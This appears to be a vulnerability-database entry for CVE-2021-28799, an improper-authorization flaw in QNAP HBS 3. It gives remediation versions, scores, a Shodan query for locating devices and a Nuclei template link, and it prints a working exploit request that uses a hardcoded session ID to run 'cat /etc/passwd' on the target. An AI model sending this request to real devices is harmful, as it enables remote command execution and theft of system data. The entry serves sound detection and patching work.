🔙 목록으로 돌아가기

CVE-2021-28799: QNAP HBS 3 - Broken Access Control

TitleQNAP HBS 3 - Broken Access Control
Authordaffainfo
SeverityCritical
ImpactRemote attackers can log in without proper authorization, potentially leading to full system compromise or unauthorized data access.
RemediationUpdate to the latest versions: v16.0.0415 or later for QTS 4.5.2, v3.0.210412 or later for QTS 4.3.6, v3.0.210411 or later for QTS 4.3.4 and 4.3.3, v16.0.0419 or later for QuTS hero h4.5.1, and v16.0.0419 or later for QuTScloud c4.5.1~c4.5.4.
CVSS Score9.8
EPSS Score0.80202
CVE IDCVE-2021-28799
CWE IDCWE-285
Shodan Queryproduct:"QNAP"
Tags cve cve2021 qnap qts qutshero hbs3 rce vkev kev

🔍 Vulnerability Description

An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc. HBS 3 versions prior to v16.0.0415 on QTS 4.5.2; versions prior to v3.0.210412 on QTS 4.3.6; versions prior to v3.0.210411 on QTS 4.3.4; versions prior to v3.0.210411 on QTS 4.3.3; versions prior to v16.0.0419 on QuTS hero h4.5.1; versions prior to v16.0.0419 on QuTScloud c4.5.1~c4.5.4. This issue does not affect: QNAP Systems Inc. HBS 2 . QNAP Systems Inc. HBS 1.3 .

🌐 HTTP Request

POST /cgi-bin/backup/hbs_mgnt.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Connection: close
Content-Length: 68
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip

{"act":"run_cmd","sid":"jisoosocoolhbsmgnt","cmd":"cat /etc/passwd"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28799.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-28799.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A